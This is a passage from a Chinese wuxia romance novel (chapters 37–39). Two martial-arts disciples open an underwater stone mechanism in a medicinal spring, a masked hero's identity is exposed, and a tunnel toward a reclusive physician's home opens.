“这泉水泡得人通体温暖,是比我之前泡过的暖泉都要好。可是要说奇怪——”陆晓怜四下望了望,皱着眉头思索片刻,开口道,“我之前听说,泉眼经年出水不绝,便汇成名川大河。相对于百花潭,药泉是个独立封闭的小池子,理应有自己的泉眼,可药泉的泉眼却像是能精准控制水流一般,既不令药泉水漫出池子,流入百花潭,又能保持这小小一方池子不干枯,怎么会这样恰好,像是有人算过量过一般?” 贺承点头,鼓励她继续说下去。 “还有,我进到池子里来,才发现这药泉的池底也跟别处不大一样。我们在青山城嬉水时,池塘下面大多是些碎石砂砾,可是这里的池底却异常平整光滑,除了零星散落的一些卵石,涉水行走在期间,好像踩在一块巨大的、光滑的大理石壁上。这也不像天然便是如此的。”陆晓怜咬了下嘴唇,底气不足地下结论,“我觉得,这应该不会都是巧合吧?” 贺承赞许地看着她:“我也是这样觉得。这样小的水池要维持水位不高不低 ,难度很大,我怀疑水下有暗道与别处水域相通。你刚刚说,鬼斧岭上住不了人,那便想想鬼斧岭后面。是这句话提示了我,如果无法从坡上翻到鬼斧岭后面去,那从山体狭隘削薄处,挖暗道横穿呢?” 陆晓怜眼瞳一震:“你的意思是,暗道就在药泉池底?” 贺承笑笑:“我只是猜测罢了。若那本书当真在指示进入百花谷的方式,在书册终章所标示的地方,费心安置这样一方小水潭,又往里面灌满了黑漆漆的药水不让人一眼看见潭底情况,总该是有些用处的吧。” 陆晓怜迫不及待:“那我们快去水下看看。” 贺承将她拉回来,往她手里塞了颗成人拳头大小的珠子:“药泉水颜色深,水下必定昏黑一片,这个你拿着。” “夜明珠?”陆晓怜错愕,“你哪来的夜明珠?” 贺承随口应道:“朋友送的。” 陆晓怜一脸狐疑,看着贺承手中也握着一颗同样大小的夜明珠,心道,这样贵重的东西,什么朋友会一下子送他两颗? 她试探着追问:“什么朋友?我怎么不知道你有这么大方的朋友?” 贺承并不直接答话,顾左右而言他:“反正他大方他的,占便宜是咱们。”陆晓怜还想再问什么,可贺承没有给她继续追问的机会,扣住她的手腕:“走,到池底去看看。” 第37章 第三十七章清音石水下清音石有二十…… 正如贺承所料,药泉水呈棕褐色,能透进水底的光线有限,因此虽然水潭不深,水底却一片昏暗,两三尺以外已经看不分明。 幸而他们有备无患,借着手中夜明珠的莹莹微光,可以看清方寸之间的景象。 贺承与陆晓怜一同潜下去,仔细触摸池底。 人的手比脚要灵活机敏得多,用手指寸寸摸过光滑的潭底,他们发现,这方盛满药水的水潭像是一只巨大的饼铛,边沿的一圈潭底高水位浅,几步之外,便是个小小的陡坡,下了陡坡,水深骤增,堪堪没到贺承下颌处。 之后,水潭底下便是一马平川。 这平坦是用一方平整的石板铺就的,那石板触手光滑细腻,像是仔细打磨过的玉石。用手指仔细摸过去,会发现这巨大的石板上规律分布着细细的线条,横平竖直,隐隐将这巨大的石板分割成规规矩矩的棋盘。 药泉水透不进来光线,贴近池底的地方,四周更是一片浓稠的黑,若不是各自手中握着一颗夜明珠,他们甚至无法知晓对方在什么位置。 借着夜明珠的微光,贺承向陆晓怜指了指前方,两人探着池底,朝水潭中心摸去。 忽然,陆晓怜在平坦的潭底摸到一个小小的凸起。 她举着夜明珠凑近些,发现那块凸起像一颗棋子般落在一横一竖两条线的交点处,顺着那条横着的线往外摸出几尺,又摸到一个小小的凹槽,也恰好落在两条线的交点处,再往外几尺,她又摸到一个落在交点处的凸起。 顺着一路摸过去,凸起与凹槽每隔几尺交替出现,极有规律。 陆晓怜心念一转,若药泉底的这一大片石板不是偶然,这些凸起与凹槽这样间隔出现必定也不是偶然! 她来不及深想,朝黑暗中的另一点亮光游去,拉着贺承的手,领着他一点一点摸过池底那一处处细小的凹凸不平。 贺承沿着那一横细线,将细线上缀着的凹凸处全部摸过一遍,心中默数了一遍,握住陆晓怜的手腕,带着她朝水面浮上去。 不知不觉间,他们在水中潜行,已经到了药泉中央。 除了临近水潭边沿的那一道陡坡,水潭底部平坦异常,即便此刻站在药泉中央,泉水依旧只没到贺承的下颌处,但陆晓怜身量没有贺承高,浮上水面来也站不到底,只能攀着贺承的手臂,借力浮着。 站在岸上的钟晓远远看来,便是两个人衣着单薄,亲密无间地抱在一起。 有伤风化! 钟晓一边生气,一边劝自己要以大局为重,强压着不满,问:“怎么样?有发现吗?” 陆晓怜像只猿猴一般攀在贺承身上,还记得分神回应钟晓:“对,有发现。” “发现了什么?” 陆晓怜刚刚从水底浮上来,大口大口呼吸,气喘吁吁,累得不想多说,只朝钟晓挥了挥手:“上岸再说。” 说完这话,她再不理睬钟晓,扭头过来看贺承。她一个活蹦乱跳的人潜入药泉水中闭气这么长时间,已经累得气喘不已,何况病中的贺承,她定睛仔细一看,果然看见贺承唇色发青,半阖着眼,眉宇间倦意刻骨。 陆晓怜忧心忡忡:“师兄,你到水浅的地方歇会吧。既然已经找到了机关,把破解之法告诉钟晓,让他来破解便好。” 贺承声音轻飘虚弱:“你也认出来了?” 陆晓怜点头:“是水下清音石。” “那你还记不记得怎么破?” 陆晓怜垂眸沉吟片刻,脑海中似乎有一卷书册缓缓翻开。她锁定了书册的某一页,断断续续回忆起小时候陪着贺承诵读的内容:“水下清音石有二十一处机关,呈直线排列,需由同根共源的两股内力同时击中机关,方可开启。” 陆晓怜说话间,贺承稍稍缓过一口气,补充道:“两人同时击打直线中点的第十一处凸起的机关后相背而行,分两头拍下剩余的二十处机关,看不见对方,却要以同样的力度在同样的时间各自拍下机关。” 若是能让钟晓来开启清音石,他又怎么可能让陆晓怜同他涉险? 他抬手理了理陆晓怜湿漉漉贴在额头的碎发,语重心长:“且不提你与钟晓拜的不是同一个师父,便是你们的内力同根共源,你和他之间,能有不约而同的默契吗?” 话虽有理,可陆晓怜依旧犹豫:“可是你——” “我没事,只是在水下闭气太久,缓一缓便好。”贺承笑笑,“小齐大夫都说了,这药泉能给治病救命,我从头到脚泡进去,药效岂不是更佳?” 尽管不放心,可陆晓怜还是认可贺承的说法,两人浮在水面上边休息,边商量一会破解水下清音石的办法。他们师出同门,甚至于陆晓怜天资平平,小时候练功常常是受贺承点拨的,要他们使出同根共源的内力,并不是什么难事。 真正难办的是,他们如何背对着背,同时击打下机关? 于是,贺承和陆晓怜浮在水面上百无聊赖地练习数数,约定一会在水下,心中默数,数到同一个数字时,一齐出手。 陆晓怜和贺承青梅竹马一起长大,之前在青山城内外跟人打架,也配合得天衣无缝,偏偏数数这件小事上,他们的默契泛善可陈,练了几轮,才勉勉强强能在前三个数保持同一个节奏。 可是,水下清音石共有二十一处机关,除却正中央的第十一处机关可以由两人站在一起击打,其余二十处均设在两人相背而行的路上,两人各自出手十次,全凭默契,没有指令可以参照。 陆晓怜皱眉苦脸:“好难!怎么酒楼里那些弹琴吹箫的人,就能那么刚好地在同一个时点奏出相和的音律——” 话到这里,她猝然顿住,抬眼看向贺承,发现贺承也倏然垂眸看她。 “师兄,你也想到了对不对!”陆晓怜杏眼含笑,映着粼粼水光,亮得惊人。 贺承也是笑,黑长的眼睫往下落了落,便是赞许。 陆晓怜兴致勃勃:“那还等什么!我们赶紧打开机关,好找神医给你治病。” 相比陆晓怜近乎忘形的兴奋,贺承的神色稍显凝重。重新潜入池底前,他伸手拉了拉陆晓怜腰间的软绳,再三确定绳索牢靠,才勉强松下半口气,反复叮嘱陆晓怜:“击下清音石的最后一处机关,无论是否成功开启清音石,都要立刻回到岸上。” 想着开启水下清音石,十有八九便能找到神医居所,贺承一身的伤病便有救了,陆晓怜兴奋不已,连贺承的话也听不进 去,只含含糊糊地应着好,扭头要往水底钻去。 贺承眼疾手快,把陆晓怜从水里拎了回来,沉着脸:“我说了什么?你重复一遍。” 陆晓怜不是乖巧听话的人,小时候免不了要惹她师兄生气。可女孩子懂事得早,长到十四五岁,越发善解人意起来,贺承已经有好多年没有这样声严色厉地同她说话了。 她缩缩脖子:“你说,要回岸上。” 话果然只记了一半,贺承没好气地问:“什么时候要回岸上?” 陆晓怜顶着一头湿漉漉的黑发,眨了眨水汪汪的眼睛,抿着嘴不说话。 看着小鹿一般可怜兮兮的陆晓怜,贺承有气也撒不出来,横了她一眼,又说了一遍:“书上并没有提过水下清音石开启是什么样子,水下情况莫测,击下最后一处机关,无论是否成功开启清音石,都要立刻回到岸上。” 陆晓怜眼巴巴地看着他,乖乖点了点头。 贺承失笑,伸手将她揽入怀中,低头吻过她湿漉漉的鬓角,伏在她耳边,声音低缓,说出的话却如千斤巨石沉甸甸地压下来:“陆晓怜,你记着,若你出了什么意外,便是找到了神医,我也不治。” 一言既定,两人深吸了口气,重新潜入池底,摸索着找到水下清音石的那一排凹凸起落的机关,数出正中央的那一处凸起。 四下是比暗夜还要浓稠的黑,陆晓怜与贺承相对站着,只有手中的夜明珠发出幽幽冷光。微微发绿的荧光勾出两人的面孔,在一片幽暗中,显得诡异可怖。 可陆晓怜并不觉得害怕。 她抬眼看着贺承,大概是在温水里泡得久了的缘故,他那张天衣无缝的胶皮面具似乎有些微变形,连那张属于“沈烛”的脸都与平日不大相同。可她一眼能望进他的眼里,凝望着那双她所熟悉的眉眼,心中便立时安定了下来。 贺承微微点头示意。 陆晓怜会意,将手抵在凸起机关的一侧,指尖与贺承相触。 她与贺承对视一眼。 水下寂静无声,心意相通的人不必开口,仅仅凭借一个眼神,便能掀起滔天波浪。 同一时间,力道相同的两股内力,分别自贺承、陆晓怜的掌心无声打出,四下的水波微微震荡,那一颗凸起的小小机关像被火折子点燃一般,轻轻一跳,亮起一豆橘黄的光。 那光芒在水波里无声地颤了颤,之后,陆晓怜隐约听见一声细小的水深。 不知从哪里传来的一声“啵”的轻响,那是尘封的老酒拍开封泥,拔出坛口的塞子一样的声响,陆晓怜看见那处小小的机关吐出了个规整浑圆的气泡,晃晃悠悠地朝水面上升去。 陆晓怜和贺承相视一眼,各自松下一口气—— 第一个机关,顺利打开了。 他们没有停留,各自迈开一步,站到需要由两人分别打开的机关前。 水下昏暗,这样间隔开几步,夜明珠便只能勾勒出隐隐约约的人影。好在,夜明珠像是夜空里高悬的明月一般,纵使不能照亮大地,月光却依然能穿破漫漫夜色,让人一抬头,便能一眼望见。 陆晓怜看着不远处的那颗夜明珠被放到池潭底的石板上,也弯下腰,将手里的夜明珠放到石板上。 这是她与贺承的约定,两人同时将夜明珠放到潭底,便是做好准备了。 夜明珠落地那刻,她在心里默默唱起童谣—— “大月亮,二月亮,月亮底下明堂堂。东河宽,西河长,波浪底下水茫茫……” 那是贺承给她唱过的童谣…… 她小的时候胆子很小,贺承的弟弟贺启偏偏喜欢捉弄她,最爱讲鬼故事吓唬她,吓得她整夜整夜地睡不着。那时候,贺承便守在床边唱这首童谣哄她睡觉。 这首童谣,一开始就是贺承唱给她听的。 她记下来的音律、节奏,与贺承所习惯的别无二致,此时约定用来作为打开机关的指令,最合适不过。 陆晓怜左手右手同时蓄力,心中念到“月亮底下明堂堂”,一掌击在一处凹陷机关上,往下念到“波浪底下水茫茫”时,又一掌击在一处凸起机关上。 一阵水波荡漾,潭底串连着二十一处机关的直线上,又颤巍巍地多亮起四点橘色光晕,新打开的四处机关“啵”地吐出四个浑圆可爱的气泡,晃悠悠地朝水面浮去。 陆晓怜遥遥往贺承所在的方向看了一眼。 她似乎看见隐隐约约一条清瘦的人影,能看见他弯腰去取那颗夜明珠,能看见他划开水波向前游去,甚至能看见他泛白的唇角和含笑的眼眸…… 其实他们已经离得很远,放眼是一片昏黑,明明应该是什么也看不见的。 陆晓怜忍不住嘲笑自己,弯腰抱起夜明珠,朝下一处机关游去…… 在那首熟悉的童谣帮助下,陆晓怜与贺承配合默契,开启水下清音石的速度快得惊人,很快便只剩收尾两处机关。 陆晓怜挥起一掌落下,当即扭头望去,只见潭底串连着机关的直线上,星星点点地亮着二十一簇微光—— 这意味着,所有机关都已经打开,水下清音石很快便可以顺利开启! 陆晓怜心中欢喜,记着入水前贺承交代的话,弯腰去取地上的夜明珠,便打算转头往水面上游去,不料手中一滑,夜明珠从掌心里滚出去,落回潭底。 大约是机关开启的缘故,此时潭底石板上那些横平竖直的线条遽然崩裂开数寸,药泉水顺着缝隙倾泻而下。 水流又急又乱,夜明珠被水流冲得打着转儿乱蹿。 陆晓怜折身回去,追着被水流推着跑的夜明珠,终于在角落里捉住夜明珠。在她伸手的瞬间,有一股温热的水流喷涌出来撞到她的掌心里。 这是—— 陆晓怜心念一动,举着夜明珠凑近去看…… 第38章 第三十八章面具彻底掉马 这方池子不大,无风无浪,水面平静,走到了池塘中间,水也没能没过沈烛,水深也不深,想来不至于太过凶险。 不久前,陆晓怜和贺承刚刚浮上水面来换过气,看来并没有陷入什么险境。 钟晓稍稍放下一颗悬着的心。 不料,他一口气松下去没过多久,水池里传出来一阵窸窸窣窣的响动。 那声响埋在水波间,隔了一层纱一般,迷蒙难辨,仿佛是惊蛰那天渐次裂开的冰面,在细细密密的水声里,蕴藏着河冰崩裂的磅礴。 这样的声响持续了不到一刻钟,忽而,池中炸出“砰”的一声闷响,脚下坚实的地面似乎随着巨响震了一震,而后山石崩裂的声音,水流翻涌的声音,万马奔腾般从池底卷了上来。 随后,满池药泉水被这石破天惊的响动惊扰一般,剧烈摇晃起来。 小小的一方池塘像是一只浅浅的汤碗,此刻不知从哪里来的一只无形的手,将这只汤碗颠来倒去地摇晃着。满池深褐色的药泉水泼洒出来,平静的小水潭里仿佛有只狂躁巨兽苏醒过来,掀起连天的巨浪,霎时淋了钟晓满头满脸。 “师姐!沈兄!”片刻的错愕后,钟晓幡然惊醒,边快步奔向池边,边将手指的软绳在手臂上绕了几圈,发力往回拉拽绳索。 那条软绳的另一端系在陆晓怜腰上。 那是沈烛带着陆晓怜下水前,为她设下的一重保障。 江上行船,用的是小孩手臂般粗细的揽绳,相比之下,钟晓手里的这条软绳实在太过纤细单薄,想来,是禁不住水池里不知被什么东西翻搅起来的滔天波浪的。 可那是陆晓怜与岸上唯一的牵连。 甚至于,那可能是陆晓怜在这场风波里唯一的生机! 钟晓不肯松手,死死拽着那根软绳。 事出突然,他毫不防备,踉踉跄跄地拖着绳索几步迈到水池边,将身子死死抵着岸边矗立的青石,寸步不让。他明明使出全身力气,竟不能将绳索收回分毫。 陆晓怜身形纤瘦,即便身在水底,增加了几分阻力,也万万不会沉重至此。 显然,陆晓怜在水下必定遇见了什么麻烦! 钟晓心中担忧,又不敢松开绳子下水寻人,左右为难间,却见一道人影自潭中踏浪而起。那人身量颇高,一身雪白中衣被药泉水浸透了,贴在身上,显露出精瘦的肌肉线条,以至于他的身形清瘦单薄至 极,却并不令人觉得孱弱。 方才潜入池底的人,统共有两个。 跃出水面的人,不是陆晓怜,便是贺承。 贺承足尖点过水面,踩着起伏不定的水波,横潭而来,稳稳落在钟晓身边。他看了一眼死死拉着绳索的钟晓,眉心一蹙,快步上前,帮钟晓挽住绳索,边咬牙往回收绳索,边问他:“晓怜呢?” 钟晓也是牙关紧咬,声音都发着颤:“她没上来。” 没上来? 闻言,贺承脸色一白,呼吸一窒,难以置信地望着水波剧烈震荡的水潭。 他浑身湿透,山里的风吹来,寒意一直钻到了心里去—— 怎么会没有上来?不是说好了,最后一次拍下机关,无论水下清音石是否开启,都要立刻离开药泉吗?她不是乖乖应了“好”吗?怎么会没有上来? 钟晓手里的那根软绳崩得很紧,柔软弯曲的线条此刻几乎变作一根笔直的长矛,深深扎入翻滚的池塘中央。 藏在池底的机关已经被贺承和陆晓怜开启,此刻池中水波翻滚,凶吉难辨,贺承一刻也没有犹豫,转身便要跃入刚刚脱身的险境,潜入池底去寻陆晓怜…… 药泉这头传出山崩地裂般的声响,惊动四方。不仅去采药的齐越和赵戎津听见动静立刻折返回来,连在百花潭边逗蛊虫的金波也将蛊虫往怀里一塞,跌跌撞撞地循着动静找来。 赵戎津和齐越赶到时,正来得及拉住踉踉跄跄、不要命地往药泉里闯的贺承。 赵戎津紧紧扣着贺承的肩膀,沉声道:“做什么!你不要命了!” 贺承目光冷厉,如被困的猛兽:“晓怜还在池子里!” 为了防止贺承挣脱,闯进莫测的药泉去送死,齐越也紧紧按着他的一只手臂,听见这话,困惑不解:“陆姑娘怎么会在药泉里?” 情况紧急,贺承无暇多说,只紧紧盯着钟晓手里那根绳索,咬牙道:“松开我!池底什么也看不见,绳子若断了,就彻底找不到她了!” 经他提醒,赵戎津才注意起钟晓手里的绳索来。 钟晓将身子抵在池边的青石上,双手握着绳索,手臂一点点将绳子绕起,艰难地将它一寸一寸往回拉。 一寸,两寸…… 半尺,一尺…… 这事情本身便是古怪的。 陆晓怜是个身材纤瘦的小姑娘,钟晓最初被池子里的动静惊得六神无主,一时不察,没站稳被水里的力量骤然拉到池子边,算是情有可原,可如今站稳了脚步,全神贯注,用尽力气,却拉不回一个困在小水潭里的陆晓怜,便有些奇怪了。 所以,药泉池底究竟发生了什么?陆晓怜在水下又经历了什么? 偏偏此刻,浅浅的一方水池变作高深莫测的龙潭虎穴,再下去不得,所有人只能将希望都寄托在钟晓手中的绳索上。 可细细渺渺的一根绳索终究承担不起这么多的希望,还未寻见陆晓怜的身影,不知是绳索的某处陡然崩断,或是有什么别的缘故,一直紧绷的绳索骤然卸力,钟晓不及收力,退了半步,往后仰倒下去。 金波一直在他身边站着,见状快步上前,双手抵住钟晓的后背,对冲掉绳索崩断的力道,费了不少力气将人推回去。扶着钟晓站稳了,金波才脸色发白地看着才他手中蜿蜒到地上的绳索,讷讷道:“绳子断了!” 钟晓低头看垂在手中的绳索,心沉沉坠了下去,嘴唇微微发颤:“师姐!” 贺承的目光也落在那条绳索上,视线顺着细长的线条延伸开去,只见本该与陆晓怜相连的那一端无声无息地没入水中。上一刻,他还在极力挣扎想要跃入池中去找陆晓怜,此刻整个人蓦然僵住,他愣愣望着水面,胸口剧烈起伏了一下,猛地呛出一口血来。 “沈公子!”齐越大惊,扣住贺承腕上脉门,急道,“快,静息凝神……” 可齐越的话音还没落尽,钟晓却已经欺身靠近过来。他却没有给贺承喘息的时间,松开手中的绳索,大步走来。 他对这个别有用心接近他师姐的陌生人本就积蓄了满腔怨怼,如今这人三言两语把他师姐哄得心甘情愿地陪他潜入水潭犯险,落得此刻下落不明、生死未卜的下场,想到这里,他胸中掀起的愤愤与满池药泉水一般,剧烈翻滚,不能停歇。 他走近过来,在贺承面前站定,抬手便是一拳,狠狠砸过去。 一方面是钟晓的速度太快,一方面也是没人料到钟晓会骤然发难,即便赵戎津和齐越都站在贺承身边,也没能拦下暴怒的钟晓。 偏偏此刻的贺承神色木然,死死盯着水面,像是一尊没有生命的石像,不知闪躲。 于是,钟晓那一拳结结实实落在贺承的侧脸。 贺承伤病爱神,为了陆晓怜的事心绪激荡,刚刚才呕过血,钟晓这一拳虽没有落在要害,却将他打得站立不稳。他无力地倚在齐越身上,缓缓滑倒下去,跪坐在地上,垂着头,断断续续地又咳出几口血。 医者仁心,齐越怕钟晓再出手伤人,伸手护在贺承身前。 赵戎津不可能放任齐越不管,挺身拦在钟晓与贺承之间,低斥:“你这是做什么!” 钟晓又气又急,两眼充血,气极反笑:“我这是做什么?我和师姐下山来找师兄,本来都好好的!要不是遇到他,要不是他花言巧语哄着师姐,师姐又怎么会陪着他潜到水底,发生这样的意外?” 人在极度悲愤之下,情绪失控,有时根本不知道自己说了什么,更不知道说出去的话,会化做多锋利的刀刃,将旁人伤得体无完肤。 眼见贺承失魂落魄的模样,金波心下不忍,拉住钟晓:“晓怜姐姐出事,沈大哥心里也不好受,你别这样说。” “他也会不好受吗?”钟晓恨恨盯着贺承,“你本来就没有多少日子好活,现在,我师姐要陪你下黄泉,你是不是很得意?” 听到这话,贺承低垂的眼睫才颤了颤。他费力抬眸,冷冷盯着钟晓,发白的唇微动,声音弱得连他自己都无法说服:“晓怜不会死,药泉这么浅,不可能出事!” 贺承撑着齐越的肩膀,摇摇晃晃地站起身:“我要下水找……” “找谁?”一个清脆的女声自水潭中传来,“找我吗?” 与贺承方才一样,陆晓怜自水潭中央一跃而起,踏波而来,稳稳落在贺承面前。她浑身湿透了,长长的眼睫毛上都挂着水珠,冲着贺承一笑,发梢眉间的水珠便扑簌簌地往下掉。 贺承怔怔地看她,眼眶渐渐泛红,失而复得的欣喜袭来,他竟半晌说不出一句话来。 陆晓怜在他面前完完整整地转了个圈:“我没事,你看,全须全尾好好的。” 贺承板着脸:“不是让你按下最后一处机关,就立刻上岸,怎么耽搁了这么久?” 他声音孱弱,气息不稳,训起人来却很有样子。陆晓怜扁扁嘴,不敢硬扛,只软绵绵地拉住他的手,将他冰凉的手掌贴到自己脸上,目光闪闪地看他:“真的没事,你摸摸,连块皮都没擦破。倒是你——” 陆晓怜的目光落在贺承侧脸一小块擦破的皮肤上,拧起眉头:“你怎么受伤了?” 她伸手轻轻抚摸他脸上的那块擦破的皮肤,越摸越觉得不对劲。 明明一开始那块擦破的皮肤只有一段指节大小,她湿漉漉的手贴上去,心疼地轻轻抚摸,那处破损竟然越来越大,不多时,便扩大成半个手掌大小。 “这究竟是怎么伤的?疼不疼?”陆晓怜小心翼翼地撕开脸颊上那层发白的死皮,却不料那层死皮越撕越大,从右脸的下颌线开始,到半边右脸,到鼻翼,到眉骨,硬生生从半张脸上扯下了一大块死皮—— 这么大的一块死皮撕下来,怎么会既不出血,贺承也不觉得疼? 这时候陆晓怜才反应过来 自己从贺承脸上撕下来的是什么东西。 可惜,为时已晚。 她盯着面前半边“沈烛”、半边“贺承”的那张脸,捏着被自己撕了一半的胶皮面具,抱歉地看着她的师兄,进退两难—— 现在,到底是给他把面具贴回去呢?还是索性借机把这副鬼面具丢了? “师姐,怎么了?”钟晓牵挂着他师姐,见人僵硬不动,不放心地探头过来。 这一探头不要紧,要紧的是,他看到了那张被陆晓怜撕去半张胶皮面具的脸,更更要紧的是,对于跟在贺承屁股后面长大的钟晓而言,那半张脸熟悉得不能再熟悉! 耳边“嗡”的一声,钟晓的大脑顷刻间一片空白。 他瞪大了眼睛,错愕至极:“师,师兄?” 第39章 第三十九章通道这里才是真正的百花…… 胶皮面具在温热的药泉水里浸泡太久,果然有些变形。陆晓怜给贺承戴不回去,索性将整张面具撕下来丢到一边去。 于是,被封藏在面具下的、属于贺承的那张脸终于完完整整露了出来。 于是,勤勤恳恳替他贺师兄盯着他晓怜师姐的钟晓终于彻彻底底呆住了。 英挺的眉骨,高直的鼻梁,利落流畅的下颌线,这张脸的每一寸骨骼,都是钟晓所熟悉的模样,他目不交睫地细看,渐渐发现这副优越的骨相撑起的皮肉,却又与他所熟悉的模样大相径庭。 他记得,他所熟悉的那个人眉目清朗,神采飞扬,是青山城,乃至整个江湖最最恣意潇洒的少年郎。然而此刻,那张薄薄的胶皮后面,藏着的似乎只是一张与他的师兄眉眼相同的脸,那张脸极度苍白,那双顾盼神飞的眼像是快要熄灭的灯烛,只剩星点倦怠到了极点的虚弱微光。 这张脸,像极了他的师兄。 却又不是他师兄该有的模样。 他的目光扫过陆晓怜,只见他的师姐紧紧贴着他的师兄,两人相依的模样,在绝望中透出温情来。 从来没有什么“沈烛”! 自始至终,与他们并肩同行的一直是他的师兄,与他师姐眉来眼去的一直是他的师兄,伤病缠身命悬一线的,也一直是他的师兄! 是他眼盲心瞎,不仅没有把人认出来,还因为气“沈烛”跟他师姐走得近,说了很多乱七八糟的浑话。想起这些,钟晓恨不得扇自己一巴掌。 想到巴掌,钟晓心里一紧,目光落到贺承毫无血色的脸上,毫不意外地在他的侧脸临近下颌的地方找到一片红痕—— 那正是刚刚钟晓一拳打出来的。 钟晓又是后悔,又是歉疚,又是心疼,欲哭无泪,更加凌乱。 事实上,此时并没人搭理风中凌乱的钟晓。 贺承伤病缠身,本是强弩之末,见到陆晓怜安然无恙后,他强撑着的那口气松下去,听见钟晓嗫嚅喊着“师兄”,也只来得及看他一眼,潦草挽了一下嘴角算作回应,随后身子一软,便在陆晓怜怀中昏厥过去。 齐越半跪在地上,扶着贺承的手腕细细诊脉,神色越发凝重。他又查看了一番贺承的伤势,沉默半晌,对着陆晓怜摇头:“他能撑到此刻,已经很不容易了。” 陆晓怜抬头,瞳孔一缩:“什,什么意思?” 齐越示意陆晓怜将手横在贺承鼻间探他的呼吸。陆晓怜手指发着颤,小心翼翼地凑过去,只觉得贺承呼吸轻浅短急,每一下都艰辛,每一下都像是要断绝。 她看向齐越,只见齐越无奈摇头:“勉强还吊着一口气,可也吊不住太长时间了。” 闻言,陆晓怜脸色煞白,嘴唇发抖,张了张嘴,竟半天发不出声音来。 钟晓刚刚从“沈烛”便是“贺承”的震惊中稍稍缓过来,又得知贺承就要死了,犹如被雷电接连两次当头霹下来,脑中空白了一阵,挣扎道:“怎么可能?师兄早上还好好的,他跟师姐潜入药泉的时候,明明也还是好好的。” 齐越见过太多病重濒死的病人,也见过太多病人的亲友,像贺承这样前途无量的年轻人过早走至末路,最是令人唏嘘。 他看向陆晓怜和钟晓的目光里带上一丝悲悯,却依旧只能摇头:“带你们来药泉之前,我便说过,他在七步岭上不知用了什么药,饮鸩止渴,耗光了他所有气血,至此,是真的已经油尽灯枯。” 这才过了一夜,七步岭上的事还历历在目。 所有人都记得,昨日在七步岭上,病得连路都走不动、需要钟晓背着翻越山路的人,在铺天盖地的毒物如潮水般涌上来时,突然就能行动迅捷地与赵戎津并肩而战了。 这确实很不寻常。 只是那时赵戎津受了伤中了毒,齐越心慌意乱,才没有及时深想这点不寻常。 “小齐大夫,你看看这个!”陆晓怜回过神来,从怀中摸出几颗深棕色、莹润发亮的椭圆形珠子递到齐越眼前,“我在池底发现药泉泉眼,这是泉眼附近取得的。泉眼附近有不少这种大大小小的珠子,药泉治病救人有奇效,这些东西,会不会是什么能救命的药材?能不能,能不能……” 她吞吐着没有把话说完,目光却已经又落回贺承身上。 齐越知道她的意思,接过那几颗珠子,摊在掌心里细看。 在这个间隙,赵戎津忍不住问:“你刚刚迟迟没有上来,便是潜在水底捞这些东西?” 陆晓怜点头:“我也不知道这是什么,想着也许是能救命的东西。” 为了这几颗不知道有没有用的破珠子,差点淹死在浅浅的一方池塘里,值得吗? 赵戎津皱了下眉头,转念又想起那时自己从昏睡中醒来时,脸色发青地守着他的齐越。难道齐越不知道七步岭的凶险吗?难道齐越不知道他自己那时已身中剧毒吗?那时,齐越心中是怎么丈量值得与不值得的? 想到这里,赵戎津把到嘴边的话咽了回去,不动声色地往齐越身边凑了凑。 齐越仔细翻看陆晓怜从药泉里带出来的东西,并未察觉赵戎津贴过来,只皱着眉头:“这并不是药材,只是一些寻常石子,泉眼处的药水浓度高,积年累月的冲刷,才将这些石子染成了这个颜色。” “药泉水能治病救人,泉眼旁的石子吸收了药性,兴许有同样的效用,日后便无需冒死翻越七步岭了。”他顿了一下,看了陆晓怜和钟晓一眼,沉声道,“只是,这药石对沈公子而言……” 齐越的话到这里猝然顿住,倒不是因为他不忍心往下讲,而是他听见,在他们身后、药泉的方向,传出来一阵沉甸甸的闷响,隐约有什么重物,沉重迟缓地移动着。 众人齐齐转头看去,只见翻腾的药泉水不知什么时候已经平静下来,而药泉抵着的那面石壁,簌簌往下掉落着碎石,尘土飞扬间,有一块巨大的岩石缓慢往一侧移动,露出岩石后面一条一人宽的山间甬道。 “是师兄在找的通道!”陆晓怜惊呼出声,搂紧了贺承,抵着他冰凉的额头,轻声道,“师兄,我们找到路了,再坚持一下,马上就能见到神医了!” 说罢,她抬头指着药泉那侧的甬道:“这条甬道穿透鬼斧岭,很可能是通向神医居所的路。为了找神医救师兄,刀山火海我也是要去的,可是你们——” 她顿了顿,转眸看向齐越、赵戎津和金波,目光清亮而坚定,神色却有些许凝重迟疑:“你们送我们到这里,我已经十分感激,不必再同我们一起冒险了。” 陆晓怜没将话说透,可在场的所有人都知道她的意思。 药泉后方开出来的这条穿山甬道此前没人走过,没人知道里面究竟有什么,凶吉未卜 ,生死难料,陆晓怜和钟晓是为了救贺承,生死不计,万山无阻,而其他人与他们萍水相逢,着实无需一道舍生忘死。 深山茂林里,传出来鸟兽隐约的啼鸣嚎叫,林间有鸟禽扑闪翅膀,惊动了悄然舒展的树梢,翻腾的泉水已渐渐归于平静,只在不期然间摇摇晃晃地吐出一两个气泡,在水面“啵”地爆裂,震荡出来来回回的涟漪。 一切细小的声响,在众人静默的片刻间,被无限地放大开来。 沉默中,赵戎津与齐越相识一眼,向陆晓怜迈了一步:“我们一起去吧,一方面是人多好照应,另一方面我们也有私心,阿越一直想见见神医的。” 齐越没有说话,只随着赵戎津的话,朝陆晓怜点了点头。 金波看看陆晓怜,又看看钟晓,也急忙表态:“沈,哦不是,是你们的师兄,他救了我好多回了,滴水之恩涌泉相报的道理我还是懂的。何况,我还帮他养着蛊虫呢!” 人多有人多的好处,听了他们这样说,陆晓怜也不多推脱,只朝他们抱拳一礼,道了声“多谢”,示意钟晓过来背起贺承,一行人跳进药泉,趟过池水,朝山石后露出的那条甬道而去。 那甬道极深极长,最多只能容一名成年男子通过。 依旧由赵戎津打头阵开路,陆晓怜将贺承的夜明珠塞了一颗给他,一行人依次跟随,犹如漫漫长夜航行在浩瀚汪洋中的一艘小船,亮着星点微光,破开无边黑暗,缓缓向前行进。 与之前危机四伏的山路相比,这段黑长的甬道如冬夜般温柔,脚下的路平坦宜行,迎面而来的凉风带着植物的清新芬芳,令人几乎忘记正身处于吞噬过无数人性命的百花谷中。 幸而,赵戎津在百花谷吃过许多次亏,他没有忘记自己身处何地,也没有被甬道里温柔的风吹得飘然快意,放下戒备。 在甬道尽头一弯雕刻精致的拱门前,他徐徐停下脚步。 那是一扇安置得恰到好处的汉白玉拱形门洞,顶天立地地竖在甬道尽头。门洞里是两扇掩着的石门,许是年代久远无人问津,许是甬道中温暖湿润,两个扣门的铜环上爬满了铜绿。 山野之中人迹罕至,这样精巧的门被故意安置在此,自然有其用意。 在座的,都不是安置这扇门的人,自然也就没人知道,安置这扇门的人究竟是不是想要人命? 